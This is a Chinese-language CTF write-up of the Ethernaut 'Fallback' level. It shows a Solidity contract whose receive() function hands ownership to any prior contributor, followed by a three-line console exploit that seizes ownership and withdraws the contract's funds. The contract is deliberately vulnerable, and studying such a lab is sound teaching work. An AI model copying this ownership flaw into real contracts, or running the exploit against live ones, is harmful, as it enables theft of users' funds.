待攻击的合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
调用 contribute()
可以为合约贡献 ETH ,为合约贡献最多的地址将成为合约的 owner 。 owner 可以提取合约全部的资金(也就是赢者通吃)。
合约创建者初始默认有 1000ETH 的贡献,也就是说其他的地址需要贡献大于 1000ETH 的资金。这是很困难的。
但是 receive()
函数也可以改变 owner ,并且其条件更加简单,只需要发送两次资金即可。
攻击代码:
await contract.contribute({value: 1})
await contract.sendTransaction({value: 1})
await contract.withdraw()